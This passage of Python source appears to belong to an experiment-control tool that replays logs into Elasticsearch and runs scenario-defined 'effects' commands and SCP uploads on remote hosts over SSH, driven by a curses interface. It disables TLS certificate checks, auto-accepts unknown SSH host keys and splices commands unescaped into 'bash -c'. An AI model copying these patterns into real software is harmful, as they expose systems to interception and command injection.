)\n\t\t\treturn (\"failed.\")\n\n\t#forwards logs to elastic instance according to .conf values (ip, port, authentication options, etc.) in separate POSTs, waits delta of timestamps between POSTs\n\t# logs : array of strings, output from parse_logs or update_timestamps\n\t# index : string, no option provided uses provided .conf\n\tdef trickle_logs(self, logs, index=\"default\"):\n\t\tif(index == \"default\"):\n\t\t\tindex = self.index\n\n\t\t#self.notify(\"Trickling logs one by one according to timestamp.\")\n\n\t\tdatetime_format = \"%Y-%m-%dT%H:%M:%S.%fZ\"\n\t\tlatest_datetime = None\n\n\t\t#get logs sorted by time\n\t\tlogs.sort(key=lambda x: x[\"@timestamp\"])\n\n\t\t#TODO:: if we want total fidelity we can take timestamps during the loop and then diff real time past with time delta in logs.... I assume this time is negligble for now.\n\t\tnum = 0\n\t\t#print(num)\n\t\tfor i in logs:\n\t\t\tif self.Event.is_set():\n\t\t\t\treturn(\"thread killed.\")\n\t\t\tnum += 1\n\t\t\t#body = \"{\\\"index\\\": {\\\"_index\\\": \\\"\" + index + \"\\\"}}\"\n\t\t\t#body + = \"\\n\" + json.dumps(i) + \"\\n\"\n\t\t\tcurrent_datetime = datetime.strptime(i[\"@timestamp\"], datetime_format)\n\t\t\tif (latest_datetime == None):\n\t\t\t\tlatest_datetime = current_datetime\n\t\t\tdelta = current_datetime - latest_datetime\n\t\t\t#print(\"current: \", current_datetime)\n\t\t\t#print(\"latest: \", latest_datetime)\n\t\t\t#print(\"delta: \", delta.total_seconds() )\n\t\t\tif(current_datetime > latest_datetime):\n\t\t\t\tlatest_datetime = current_datetime\n\t\t\tself.Event.wait(timeout=delta.total_seconds())\n\t\t\tlogslist = [] #the list will only ever have one, but sendlogs wants a list, so we shall oblige\n\t\t\tlogslist.append(i)\n\t\t\tresponse = self.send_logs(logslist, index)\n\t\t\t#print('\\033[F' + str(num) )\n\t\t\tif(response != \"\"):\n\t\t\t\tself.error(\"Bad response log #: \" + str(num))\n\n\t\treturn (\"done.\")\n\t\n\t#deletes all contents of provided index\n\t# index : string, no option provided clears index present in .conf\n\tdef clear_index(self, index=\"default\"):\n\t\tif(index == \"default\"):\n\t\t\tindex = self.index\n\n\t\tself.notify(\"clearing index: \" + index)\n\n\t\tif(self.security):\n\t\t\tprot = \"https://\"\n\t\telse:\n\t\t\tprot = \"http://\"\n\n\t\tes_url = prot + self.ip + \":\" + str(self.port) + \"/\" + index + \"?pretty\"\n\n\t\theaders = {\n\t\t\t'Content-Type': 'application/json',\n\t\t}\n\n\t\tresponse = requests.delete(es_url, headers=headers, data=None, auth=(self.username, self.password), verify=False, timeout=1.0)\n\n\t\treturn str(response)\n\t\n\t#creating a single function to perform all tasks to be easily called as a thread\n\tdef parse_update_and_send(self, log_file, time_option=\"default\", index=\"default\"):\n\t\tself.notify( \"parsing logs from: \" + log_file )\n\t\tlogs = self.parse_logs(log_file)\n\t\tif( logs == \"failed.\" or logs == None or logs == \"None\" ):\n\t\t\tself.error( log_file + \": failed to parse json.\" )\n\t\tself.notify( \"updating timestampts from: \" + log_file + \" (w/ timestamp option \" + time_option + \")\" )\n\t\tlogs = self.update_timestamps(logs, time_option)\n\t\tif(self.delay == True):\n\t\t\tself.notify( \"trickling \" + log_file + \" into index \" + index )\n\t\t\tresp = self.trickle_logs(logs, index)\n\t\telse:\n\t\t\tself.notify( \"bulk sending \" + log_file + \" into index \" + index )\n\t\t\tresp = self.send_logs(logs, index)\n\t\tself.notify(log_file + \" : \" + resp)\n\t\t\n\t\t#stop safely\n\t\tself.Stop()\n\n\t\t#use to set Kill signal and kill trickling of logs in threads\n\tdef Stop(self):\n\t\t#sys.stderr.write(\"killing thread\\n\")\n\t\tself.Event.set()\n\t\tself.thread.join()\n\n\tdef Run(self):\n\t\tthread = threading.Thread(target=self.parse_update_and_send, args=[self.log_file], daemon=True)\n\t\tself.thread = thread\n\t\tself.thread.start()\n\n\tdef Clear_Thread(self, index=\"default\"):\n\t\t#TODO:: what the hell is happening here with \"all\"? Does it even parse to the thread?\n\t\tif(index == \"all\"):\n\t\t\tself.notify(\"Clearing all indexes that have been uploaded during this session . . .\")\n\t\t\tseen = []\n\t\t\twhile not self.Index_queue.empty():\n\t\t\t\tcurrent = self.Index_queue.get()\n\t\t\t\tif(current == \"all\"):\n\t\t\t\t\tself.error(\"While clearing indexes received keyword \\\"all\\\". Skipping to avoid infinite recursion. Do not use index \\\"all\\\" in the future.\")\n\t\t\t\t\tcontinue\n\t\t\t\tif not current in seen:\n\t\t\t\t\tself.Clear_Thread(current)\n\t\t\t\t\tseen.append(current)\n\t\t\n\t\tthread = threading.Thread(target=self.clear_index, args=[index], daemon=True)\n\t\tself.thread = thread\n\t\tself.thread.start()\n\n\n\n\nclass Effects_Agent(object):\n\tdef __init__(self, Scenario, EFX_ID, q, error):\n\t\tself.Scenario = Scenario\n\t\tself.EFX_ID = EFX_ID\n\t\tself.message_queue = q\n\t\tself.Error_message_queue = error\n\t\tself.threads = []\n\t\tself.Event = threading.Event()\n\t\tself.EFX_Commands = self.Scenario.Effects[EFX_ID]['effect_command']\n\t\tself.username = Scenario.Effects[EFX_ID]['agent_username']\n\t\tself.agent_ip = Scenario.Effects[EFX_ID]['agent_ip']\n\t\tself.password = Scenario.Effects[EFX_ID]['agent_password']\n\t\tself.scp_files = self.Scenario.Effects[EFX_ID]['effect_file']\n\t\tself.scp_file_dest = self.Scenario.Effects[EFX_ID]['effect_file_destination']\n\t\tself.file_loc_default = '~/'\n\t\t\n\t\t#fix agent ip to passwords and usernames\n\t\tif len(self.agent_ip) > len(self.username) and (self.username[0] != None or self.username != ''):\n\t\t\tself.username.extend([str(self.username[-1]) for i in range(len(self.agent_ip)-len(self.username))])\n\t\telif self.username == None or self.username == '':\n\t\t\tself.Error_message_queue.put('No username for IP: {}'.format(self.agent_ip[0]))\n\n\t\tif len(self.agent_ip) > len(self.password) and (self.password[0] != None or self.password != ''):\n\t\t\tself.password.extend([str(self.password[-1]) for i in range(len(self.agent_ip)-len(self.password))])\n\t\telif self.password == None or self.password == '':\n\t\t\tself.Error_message_queue.put('No password for IP: {}'.format(self.agent_ip[0]))\n\t\t\n\t\t#fix mismatches in files and locations\n\t\tif len(self.scp_files) > len(self.scp_file_dest) and (self.scp_file_dest[0] != None or self.scp_file_dest != ''):\n\t\t\tself.scp_file_dest.extend([str(self.scp_file_dest[-1]) for i in range(len(self.scp_files)-len(self.scp_file_dest))])\n\t\telif self.scp_file_dest == None or self.scp_file_dest == '':\n\t\t\tself.scp_file_dest = [str(self.file_loc_default) for i in range(len(self.scp_files))]\n\t\t\n\n\tdef Commander(self,ID):\n\t\timport select\n\t\timport socket\n\t\tfrom scp import SCPClient\n\n\t\tusername = self.username[ID]\n\t\tagent_ip = self.agent_ip[ID]\n\t\tpassword = self.password[ID]\n\t\t#connect to an ssh client and run commands\n\t\tssh = paramiko.SSHClient()\n\t\tssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\t\t\n\t\t#setup files for upload\n\t\tset_continue = False\n\t\t\t \n\t\t#upload files\n\t\tf = 0\n\t\tfor i in self.scp_files:\n\t\t\t#break if thread is closing\n\t\t\tif self.Event.is_set():\n\t\t\t\tbreak\n\t\t\tself.message_queue.put('\\nEffect Agent: {}@{} \\t File: {} \\t Dest: {}\\n'.format(username,agent_ip,i,self.scp_file_dest[f]))\n\t\t\ttry:\n\t\t\t\tssh.connect(agent_ip, username=username, password=password, timeout=2)\n\t\t\t\tscp = SCPClient(ssh.get_transport())\n\t\t\t\tset_continue = True\n\t\t\texcept:\n\t\t\t\tself.Error_message_queue.put('Could not connect to SSH on {}@{}'.format(username,agent_ip))\n\t\t\t\n\t\t\tif set_continue:\n\t\t\t\tscp.put(i, remote_path=self.scp_file_dest[f])\n\t\t\t\tf += 1\n\t\t\t\tscp.close()\n\t\t\t\tssh.close()\n\n\t\tfor i in self.EFX_Commands:\n\t\t\tif self.Event.is_set():\n\t\t\t\tbreak\n\n\t\t\t#set up command to print out the PID of the command (technically the PID of the ssh terminal)\n\t\t\tcommand = 'echo $$; exec bash -c \\'' + i + '\\''\n\t\t\t#print out the ip of the agent and what command was run\n\t\t\t\n\t\t\tself.message_queue.put('\\nEffect Agent: {}@{} \\t Command: {} \\n'.format(username,agent_ip,i))\n\t\t\t\n\t\t\t#attempt to connect to the ssh client, start an ssh channel, and continuously output the ssh command output\n\t\t\ttry:\n\t\t\t\tssh.connect(agent_ip, username=username, password=password, timeout=2)\n\t\t\t\ttransport = ssh.get_transport()\n\t\t\t\tchannel = transport.open_session()\n\t\t\t\tchannel.settimeout(0.0)\n\t\t\t\tchannel.set_combine_stderr(True)\n\t\t\t\tchannel.exec_command(command)\n\t\t\t\tpid_line = True\n\t\t\t\twhile not self.Event.is_set():\n\t\t\t\t\trl, wl, xl = select.select([channel],[],[])\n\t\t\t\t\tif channel in rl:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tmessage = channel.recv(1024)\n\t\t\t\t\t\t\tif len(message) == 0:\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t#if this is the first line, its the PID\n\t\t\t\t\t\t\tif pid_line:\n\t\t\t\t\t\t\t\tself.message_queue.put('{}@{} => PID: {}'.format(username,agent_ip,message.decode('ascii').strip(\"\\n\")))\n\t\t\t\t\t\t\t\tpid_line = False\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tself.message_queue.put('{}@{} => {}'.format(username,agent_ip,message.decode('ascii').strip(\"\\n\")))\n\t\t\t\t\t\texcept socket.timeout:\n\t\t\t\t\t\t\tpass\n\t\t\t\tssh.close()\n\t\t\texcept:\n\t\t\t\tself.Error_message_queue.put('Could not connect to SSH on {}@{}'.format(username,agent_ip))\n\t\t#stop safely\n\t\tself.Stop()\n\t\t\n\tdef Run(self):\n\t\t#run the EFX Commmander for each ip in a different thread.\n\t\tfor i in range(len(self.agent_ip)):\n\t\t\tthread = threading.Thread(target=self.Commander, args=[i], daemon=True)\n\t\t\tself.threads.append(thread)\n\t\t\tthread.start()\n\n\tdef Wait(self):\n\t\tfor i in range(len(self.threads)):\n\t\t\tself.threads[i].join()\n\n\tdef Stop(self):\n\t\tself.Event.set()\n\t\tfor thread in self.threads:\n\t\t\tthread.join()\n\n\n\nclass Scenario_Engine(object):\n\tdef __init__(self, Scenario):\n\t\tself.Scenario = Scenario\n\t\tself.current_scene = '0'\n\t\tself.scene_children = self.Scenario.Scenario['0']['scene_children']\n\t\tself.Log_Controller_thread = []\n\t\tself.EFX_Commander_thread = []\n\t\tself.Context_thread = []\n\t\tself.cli_columns = os.get_terminal_size().columns\n\t\tself.cli_lines = os.get_terminal_size().lines\n\t\tself.cli_line_top = int(0.2*self.cli_lines)\n\t\tself.cli_line_middle = int(0.6*self.cli_lines)\n\t\tself.cli_line_bottom = int(0.2*self.cli_lines)\n\t\tself.title = 'Sandia Experiment Control System'\n\t\tself.title_center = int(self.cli_columns*0.5 - len(self.title)*0.5)\n\t\tself.disc_padding = int(3+len(\"Description:\"))\n\t\tself.desc_len = int(self.cli_columns-(2*self.disc_padding))\n\t\tself.shutdown = False\n\t\tself.Sys_Message = None\n\t\tself.EFX_message_queue = queue.Queue()\n\t\tself.Log_message_queue = queue.Queue()\n\t\tself.Context_message_queue = queue.Queue()\n\t\tself.Error_message_queue = queue.Queue()\n\t\tself.Index_queue = queue.Queue()\n\t\tself.scroll_pos = self.cli_line_bottom\n\t\tself.scroll_height = 100\n\t\tself.sys_log_name = 'ECS_Log'\n\t\tself.sys_log_path = './' + self.sys_log_name + '.txt'\n\t\n\tdef text_wrangler(self, pad, text, columns, rows, x, y, idx=0):\n\t\t\n\t\t#quick checker for the text values, no 0's or negatives\n\t\tdef size_check(n):\n\t\t\tif n < 1:\n\t\t\t\tn = 1\n\t\t\treturn n\n\t\t#check values and fix\n\t\tcolumns = size_check(columns)\n\t\trows = size_check(rows)\n\t\tx = size_check(x)\n\t\ty = size_check(y)\n\n\t\t#split lines, then print everything out within boundaries\n\t\ttext_split = text.splitlines()\n\t\tr = 0\n\t\tidx_r = 1\n\t\tremainder = 0\n\t\tfor n in text_split:\n\t\t\ttext_rows = int(len(n)//columns + (len(n) % (columns) > 0))\n\t\t\ttext_rows = size_check(text_rows)\n\t\t\tfor i in range(text_rows):\n\t\t\t\tif idx_r > idx:\t\n\t\t\t\t\tpad.addstr(y+r,x,n[i*columns:(i+1)*columns])\n\t\t\t\t\tr += 1\n\t\t\t\t\tif r > rows:\n\t\t\t\t\t\tremainder = idx+r\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tidx_r += 1\n\t\t\tif r > rows:\n\t\t\t\t\tbreak\n\t\treturn remainder\n\n\n\tdef Top_clr(self, Top_pad):\n\t\tTop_pad.clear()\n\t\tTop_pad.border(0)\n\t\tTop_pad.addstr(1,self.title_center,self.title,curses.A_UNDERLINE)\n\t\tTop_pad.addstr(3,2,\"Current Scene: {}\".format(self.current_scene),curses.A_BOLD)\n\t\tScene_child_text = \"Scene Children: {}\".format(str(self.scene_children).strip(\"[]\"))\n\t\tTop_pad.addstr(3,self.cli_columns-(2+len(Scene_child_text)),Scene_child_text,curses.A_BOLD)\n\t\tTop_pad.addstr(5,2,\"Description:\",curses.A_BOLD)\n\n\t\t#print out the description\n\t\tdesc_text = self.Scenario.Scenario[self.current_scene]['description']\n\t\tself.text_wrangler( Top_pad, desc_text, self.desc_len, self.cli_line_top-5, self.disc_padding, 5)\n\t\tTop_pad.refresh(0,0,0,0,self.cli_line_top,self.cli_columns-1)\n\n\tdef mid_clr(self, Middle_pad):\n\t\tMiddle_pad.clear()\n\t\tMiddle_pad.scrollok(1)\n\t\tMiddle_pad.refresh(0,0,self.cli_line_top+1,0,self.cli_line_middle+self.cli_line_top-1,self.cli_columns-1)\n\t\n\tdef bot_clr(self, Bottom_pad):\n\t\t#define a function for clearing the bottom\n\t\tdef bot_wipe():\n\t\t\tBottom_pad.clear()\n\t\t\tBottom_pad.border(0)\n\t\t\topt_string = \"Input Scene ID Exit Clear List Stop EFX Stop Logs :Clear Index\"\n\t\t\tcentering_pad = int(((self.cli_columns - len(opt_string))/2)-1)\n\t\t\tBottom_pad.addstr(self.cli_line_bottom-2,centering_pad,opt_string,curses.A_STANDOUT)\n\t\t\n\t\tbot_wipe()\n\n\t\tif self.Sys_Message != None:\n\t\t\trem = self.text_wrangler( Bottom_pad, self.Sys_Message, self.cli_columns-2, self.cli_line_bottom-3, 1, 1)\n\t\t\twhile rem > 0:\n\t\t\t\tBottom_pad.refresh(0,0,self.cli_line_middle+self.cli_line_top,0,self.cli_lines-1,self.cli_columns-1)\n\t\t\t\tcurses.noecho()\n\t\t\t\tget_key = Bottom_pad.getch(1,1)\n\t\t\t\tbot_wipe()\n\t\t\t\trem = self.text_wrangler( Bottom_pad, self.Sys_Message, self.cli_columns-2, self.cli_line_bottom-3, 1, 1, rem)\n\t\tBottom_pad.refresh(0,0,self.cli_line_middle+self.cli_line_top,0,self.cli_lines-1,self.cli_columns-1)\n\n\tdef mid_update_thread(self, Mid_pad, Top_pad, Bottom_pad):\n\n\t\tcurses.init_pair(curses.COLOR_GREEN,curses.COLOR_GREEN,curses.COLOR_BLACK)\n\t\tcurses.init_pair(curses.COLOR_BLUE,curses.COLOR_BLUE,curses.COLOR_BLACK)\n\t\tcurses.init_pair(curses.COLOR_YELLOW,curses.COLOR_YELLOW,curses.COLOR_BLACK)\n\t\tcurses.init_pair(curses.COLOR_RED,curses.COLOR_RED,curses.COLOR_BLACK)\n\t\t\n\t\t#Check if system log exists and create a new file if it exists already.\n\t\tn = 1\n\t\twhile os.path.exists(self.sys_log_path):\n\t\t\tself.sys_log_path = './' + self.sys_log_name + str(n) + '.txt'\n\t\t\tn += 1\n\t\tself.Error_message_queue.put(\"[!] Starting log file @ \" + self.sys_log_path)\n\t\t\n\t\tsystem_log = open(self.sys_log_path, 'w')\n\n\t\t#define the method to print things to the screen\n\t\tdef Message_Printer(Message,color):\n\t\t\tsystem_log.write(Message)\n\t\t\tsystem_log.write('\\n')\n\t\t\tfor i in Message.split('\\n'):\n\t\t\t\tif len(i) > (self.cli_columns - 3):\n\t\t\t\t\tfor n in range(int(len(i)/(self.cli_columns - 3)) + (len(i) % (self.cli_columns - 3) > 0)):\n\t\t\t\t\t\tm = i[n*(self.cli_columns - 3):(n+1)*(self.cli_columns - 3)]\n\t\t\t\t\t\tMid_pad.addstr(self.cli_line_middle+self.cli_line_top-1,2,m,curses.color_pair(color))\n\t\t\t\t\t\tMid_pad.scroll(1)\n\t\t\t\telse:\n\t\t\t\t\tMid_pad.addstr(self.cli_line_middle+self.cli_line_top-1,2,i,curses.color_pair(color))\n\t\t\t\t\tMid_pad.scroll(1)\n\t\t\tMid_pad.scroll(1)\n\t\t\tMid_pad.refresh(self.scroll_pos,0,self.cli_line_top+1,0,self.cli_line_middle+self.cli_line_top-1,self.cli_columns-1)\n\t\t\n\t\t#start loop to capture messages from the queues and print them\n\t\twhile self.shutdown == False:\n\t\t\ttag = False\n\t\t\twhile not self.EFX_message_queue.empty():\n\t\t\t\tMessage_Printer(self.EFX_message_queue.get(),curses.COLOR_GREEN)\n\t\t\t\ttag = True\n\n\t\t\twhile not self.Log_message_queue.empty():\n\t\t\t\tMessage_Printer(self.Log_message_queue.get(),curses.COLOR_YELLOW)\n\t\t\t\ttag = True\n\t\t\t\n\t\t\twhile not self.Context_message_queue.empty():\n\t\t\t\tMessage_Printer(self.Context_message_queue.get(),curses.COLOR_BLUE)\n\t\t\t\ttag = True\n\n\t\t\twhile not self.Error_message_queue.empty():\n\t\t\t\tMessage_Printer(self.Error_message_queue.get(),curses.COLOR_RED)\n\t\t\t\ttag = True\n\n\t\t\tif tag:\n\t\t\t\ttag = False\n\t\t\t\tself.Top_clr(Top_pad)\n\t\t\t\tself.bot_clr(Bottom_pad)\n\t\t\n\t\tsystem_log.close()\n\n\tdef trash_man(self):\n\t\t#I'm the trashman, I clean up dead threads\n\t\t\n\t\twhile self.shutdown == False:\n\t\t\t\n\t\t\tfor i in range(10):\n\t\t\t\tif self.shutdown == False:\n\t\t\t\t\ttime.sleep(0.5)\n\t\t\t\telse:\n\t\t\t\t\tbreak\n\n\t\t\t#clean up EFX trash\n\t\t\tEFX_trash = []\n\t\t\tfor idx, EFX in enumerate(self.EFX_Commander_thread):\n\t\t\t\tif EFX.Event.is_set(): #find trash\n\t\t\t\t\tEFX_trash.append(idx)\n\t\t\tfor idx in sorted(EFX_trash, reverse=True):\n\t\t\t\tdel self.EFX_Commander_thread[idx] #throw trash around the ring\n\t\t\t\n\t\t\t#clean up Log trash\n\t\t\tLog_trash = []\n\t\t\tfor idx, LOG in enumerate(self.Log_Controller_thread):\n\t\t\t\tif LOG.Event.is_set():\n\t\t\t\t\tLog_trash.append(idx)\n\t\t\tfor idx in sorted(Log_trash, reverse=True):\n\t\t\t\tdel self.Log_Controller_thread[idx]\n\n\n\tdef CLI(self):\n\t\t#user interface system\n\t\n\t\t#redirect stderr to file\n\t\tsys.stderr = open('./stderr.log', 'w')\n\t\n\t\t#init screen\n\t\tstdscr = curses.initscr()\n\t\tstdscr.clear()\n\t\tstdscr.refresh()\n\t\tcurses.start_color()\n\t\tstdscr.leaveok(True)\n\t\tstdscr.keypad(True)\n\n\t\t#generate pads\n\t\tTop_pad = curses.newpad(self.cli_line_top,self.cli_columns)\n\t\tMiddle_pad = curses.newpad(self.scroll_height,self.cli_columns)\n\t\tBottom_pad = curses.newpad(self.cli_line_bottom,self.cli_columns)\n\t\t\n\t\t#clear out the screen\n\t\tself.Top_clr(Top_pad)\n\t\tself.mid_clr(Middle_pad)\n\t\tself.bot_clr(Bottom_pad)\n\n\t\t#start thread to update log output\n\t\tmid_thread = threading.Thread(target=self.mid_update_thread,args=[Middle_pad, Top_pad, Bottom_pad], daemon=True)\n\t\tmid_thread.start()\n\n\t\t#trashman thread start\n\t\ttrash_man_thread = threading.Thread(target=self.trash_man, daemon=True)\n\t\ttrash_man_thread.start()\n\n\t\t#Start defining function calls that the user can make\n\t\tdef Exit():\n\t\t\tself.Sys_Message = \"Are you sure you want to EXIT? (y/N)\"\n\t\t\tself.bot_clr(Bottom_pad)\n\n\t\t\tcurses.echo()\n\t\t\tselection = stdscr.getstr(self.cli_lines-3,1).decode(encoding=\"utf-8\")\n\n\t\t\tif selection.lower() == 'y' or selection.lower() == 'yes':\n\t\t\t\tself.shutdown = True\n\t\t\t\tfor i in self.EFX_Commander_thread:\n\t\t\t\t\ti.Stop()\n\t\t\t\tfor i in self.Log_Controller_thread:\n\t\t\t\t\ti.Stop()\n\t\t\telse:\n\t\t\t\tself.Sys_Message = None\n\t\t\t\tcurses.noecho()\n\t\t\t\tself.bot_clr(Bottom_pad)\n\t\t\n\t\tdef Clear():\n\t\t\tself.Sys_Message = None\n\t\t\tself.Top_clr(Top_pad)\n\t\t\t#self.mid_clr(Middle_pad) #removed because I think its unecessary to clear the middle pad?\n\t\t\tself.bot_clr(Bottom_pad)\n\n\t\tdef List():\n\t\t\tself.Sys_Message = 'List of all Scene Options: \\n{}\\n\\nList of all Effects Options: \\n{}'.format(str(list(self.Scenario.Scenario.keys())).strip(\"[]\"),str(list(self.Scenario.Effects.keys())).strip(\"[]\"))\n\t\t\tself.bot_clr(Bottom_pad)\n\n\t\tdef Kill_EFX():\n\t\t\tEfx_threads = [str(i.EFX_ID) for i in self.EFX_Commander_thread]\n\t\t\tEfx_threads_low = [i.lower() for i in Efx_threads]\n\t\t\tif len(Efx_threads) != 0:\n\t\t\t\tself.Sys_Message = \"Select EFX Threads to kill (or all): \\n {}\".format(str(Efx_threads).strip(\"[]\"))\n\t\t\t\tself.bot_clr(Bottom_pad)\n\n\t\t\t\tcurses.echo()\n\t\t\t\tselection = stdscr.getstr(self.cli_lines-3,1).decode(encoding=\"utf-8\")\n\t\t\t\t\n\t\t\t\tif selection.lower() == 'all':\n\t\t\t\t\tself.Sys_Message = \"Ending Effects\"\n\t\t\t\t\tself.bot_clr(Bottom_pad)\n\t\t\t\t\tfor i in self.EFX_Commander_thread:\n\t\t\t\t\t\ti.Stop()\n\t\t\t\t\tself.EFX_Commander_thread = []\n\t\t\t\t\tself.bot_clr(Bottom_pad)\n\t\t\t\telif selection.lower() in Efx_threads_low:\n\t\t\t\t\tdeath_note = [i for i, e in enumerate(Efx_threads_low) if e == selection.lower() ]\n\t\t\t\t\tfor i in death_note:\n\t\t\t\t\t\tself.EFX_Commander_thread[i].Stop()\n\t\t\t\t\tfor idx in sorted(death_note, reverse=True):\n\t\t\t\t\t\tdel self.EFX_Commander_thread[idx]\n\t\t\t\t\tself.Sys_Message = \"Killing EFX: {}\".format(selection)\t\n\t\t\t\t\tself.bot_clr(Bottom_pad)\n\n\t\t\telse:\n\t\t\t\tself.Sys_Message = \"No EFX Threads to kill\"\n\t\t\t\tself.bot_clr(Bottom_pad)\n\n\t\tdef Kill_Log_Controller():\n\t\t\tLog_threads = [str(i.Log_ID) for i in self.Log_Controller_thread]\n\t\t\tLog_threads_low = [i.lower() for i in Log_threads]\n\t\t\tif len(Log_threads) != 0:\n\t\t\t\tself.Sys_Message = \"Select Log Threads to kill (or all): \\n {}\".format(str(Log_threads).strip(\"[]\"))\n\t\t\t\tself.bot_clr(Bottom_pad)\n\n\t\t\t\tcurses.echo()\n\t\t\t\tselection = stdscr.getstr(self.cli_lines-3,1).decode(encoding=\"utf-8\")\n\t\t\t\t\n\t\t\t\tif selection.lower() == 'all':\n\t\t\t\t\tself.Sys_Message = \"Ending Logs\"\n\t\t\t\t\tself.bot_clr(Bottom_pad)\n\t\t\t\t\tfor i in self.Log_Controller_thread:\n\t\t\t\t\t\ti.Stop()\n\t\t\t\t\tself.Log_Controller_thread = []\n\t\t\t\t\tself.bot_clr(Bottom_pad)\n\t\t\t\telif selection.lower() in Log_threads_low:\n\t\t\t\t\tdeath_note = [i for i, e in enumerate(Log_threads_low) if e == selection.lower() ]\n\t\t\t\t\tfor i in death_note:\n\t\t\t\t\t\tself.Log_Controller_thread[i].Stop()\n\t\t\t\t\tfor idx in sorted(death_note, reverse=True):\n\t\t\t\t\t\tdel self.Log_Controller_thread[idx]\n\t\t\t\t\tself.Sys_Message = \"Killing Logs: {}\".format(selection)\t\n\t\t\t\t\tself.bot_clr(Bottom_pad)\n\n\t\t\telse:\n\t\t\t\tself.Sys_Message = \"No Log Threads to kill\"\n\t\t\t\tself.bot_clr(Bottom_pad)\n\n\t\t#we have to convert the names of scenario IDs to all lower case and zip into a dict\n\t\t#this is so we dont have case-sensitivity with input IDs cause its super annoying\n\t\tScenario_keys = self.Scenario.Scenario.keys()\n\t\tLower_keys = [x.lower() for x in Scenario_keys]\n\t\tSelection_keys = dict(zip(Lower_keys,Scenario_keys))\n\n\t\tdef index_select():\n\t\t\tself.Sys_Message = \"Input Scene ID\"\n\t\t\tself.bot_clr(Bottom_pad)\n\n\t\t\tcurses.echo()\n\t\t\tselection = stdscr.getstr(self.cli_lines-3,1).decode(encoding=\"utf-8\")\n\t\t\t\n\t\t\tif selection.lower() in Selection_keys.keys():\n\t\t\t\tself.current_scene = Selection_keys[selection.lower()]\n\t\t\t\tself.scene_children = self.Scenario.Scenario[self.current_scene]['scene_children']\n\t\t\t\tself.Top_clr(Top_pad)\n\t\t\t\tself.bot_clr(Bottom_pad)\n\t\t\t\t#EFX - Parsing for effects related to scene and creating threads based on them\n\t\t\t\tfor i in self.Scenario.Scenario[self.current_scene]['effects']:\n\t\t\t\t\tif not (i == None or i == 'None'):\n\t\t\t\t\t\t#run EFX threads\n\t\t\t\t\t\tself.EFX_Commander_thread.append(Effects_Agent(self.Scenario,i,self.EFX_message_queue, self.Error_message_queue))\n\t\t\t\t\t\tself.EFX_Commander_thread[-1].Run()\n\t\t\t\t\t\t#holding space for running Log threads and Context threads\n\t\t\t\t#LOG - Grab log files and send in separate threads\n\t\t\t\tfor i in self.Scenario.Scenario[self.current_scene]['logs']:\n\t\t\t\t\tif not (i == None or i == 'None'):\n\t\t\t\t\t\t#send accoring to Log Controller configuration, can change time_option, index if needed later\n\t\t\t\t\t\tself.Log_Controller_thread.append(Log_Controller(self.Scenario,i,self.Log_message_queue, self.Error_message_queue, self.Index_queue))\n\t\t\t\t\t\tself.Log_Controller_thread[-1].Run()\n\t\t\t\t#TODO::CONTEXT\n\t\t\telse:\n\t\t\t\t\tself.Sys_Message = \"Not an option try again.\"\n\t\t\t\t\tself.Top_clr(Top_pad)\n\t\t\t\t\tself.bot_clr(Bottom_pad)\n\t\t\t\n\t\t\tself.Sys_Message = None\n\t\t\tself.bot_clr(Bottom_pad)\n\n\t\tdef clear_index():\n\t\t\tself.Sys_Message = \"Input index to clear\"\n\t\t\tself.bot_clr(Bottom_pad)\n\n\t\t\tcurses.echo()\n\t\t\tselection = stdscr.getstr(self.cli_lines-3,1).decode(encoding=\"utf-8\")\n\t\t\tif selection != None and selection != \"\":\n\t\t\t\tself.Log_Controller_thread.append(Log_Controller(self.Scenario,list(self.Scenario.Logs.keys())[0],self.Log_message_queue, self.Error_message_queue, self.Index_queue))\n\t\t\t\tself.Log_Controller_thread[-1].Clear_Thread(selection.split()[0])\n\t\t\t\n\t\t\tself.Sys_Message = None\n\t\t\tself.bot_clr(Bottom_pad)\n\n\t\t#define the options and attach to keys\n\t\tOptions_keys = { 'i':index_select, 'c':Clear, 'l':List, 'e':Kill_EFX, 's':Kill_Log_Controller, 'x':clear_index, 'q':Exit }\n\n\n\t\ttry:\n\t\t\twhile self.shutdown == False:\n\t\t\t\t\n\t\t\t\tcurses.noecho()\n\t\t\t\t#get_key = stdscr.getch(self.cli_lines-3,1)\n\t\t\t\tget_key = Bottom_pad.getch(1,1)\n\t\t\t\tself.Sys_Message = None\n\t\t\t\tself.bot_clr(Bottom_pad)\n\n\t\t\t\tif get_key == curses.KEY_DOWN and self.scroll_pos < self.scroll_height - self.cli_line_middle:\n\t\t\t\t\tself.scroll_pos += 1\n\t\t\t\t\tMiddle_pad.refresh(self.scroll_pos,0,self.cli_line_top+1,0,self.cli_line_middle+self.cli_line_top-1,self.cli_columns-1)\n\n\t\t\t\tif get_key == curses.KEY_UP and self.scroll_pos > 0:\n\t\t\t\t\tself.scroll_pos -= 1\n\t\t\t\t\tMiddle_pad.refresh(self.scroll_pos,0,self.cli_line_top+1,0,self.cli_line_middle+self.cli_line_top-1,self.cli_columns-1)\n\n\t\t\t\tif chr(get_key) in Options_keys:\n\t\t\t\t\tOptions_keys[chr(get_key)]()\n\n\t\t\t\t\t\t\t\n\t\texcept Exception as e:\n\t\t\tsys.stderr.write(str(e))\n\t\t\tsys.stderr.write(traceback.format_exc())\n\t\t\tcurses.endwin()\n\t\t\tself.shutdown = True\n\n\t\tmid_thread.join()\n\t\ttrash_man_thread.join()\n\t\tcurses.endwin()\n\t\n#handy input prompter with prefilled value\ndef rlinput(prompt, prefill=''):\n\treadline.set_startup_hook(lambda: readline.insert_text(prefill))\n\ttry:\n\t\treturn input(prompt)\n\tfinally:\n\t\treadline.set_startup_hook()\n\nif __name__ == \"__main__\":\n\t#main program\n\t#check if on windows, suggest fix\n\tif os.name == 'nt':\n\t\tprint(\"Windows sucks, get a better operating system...\")\n\t\tsys.exit(\"Bad OS\")\n\t#check for xlsx files around CWD\n\tfiles = [f for f in os.listdir('.') if os.path.isfile(f) and f.endswith('.xlsx')]\n\t#ask for input on which file to use\n\tScenario_file = rlinput(\"Enter Scenario File: \", files[0])\n\t\n\t#make sure the file exists, is readable, and has the right extension\n\tcheck = False\n\tif os.path.exists(Scenario_file) and os.access(Scenario_file, os.R_OK) and Scenario_file.endswith('.xlsx'):\n\t\tcheck = True\n\t\ttry:\n\t\t\tScenario = 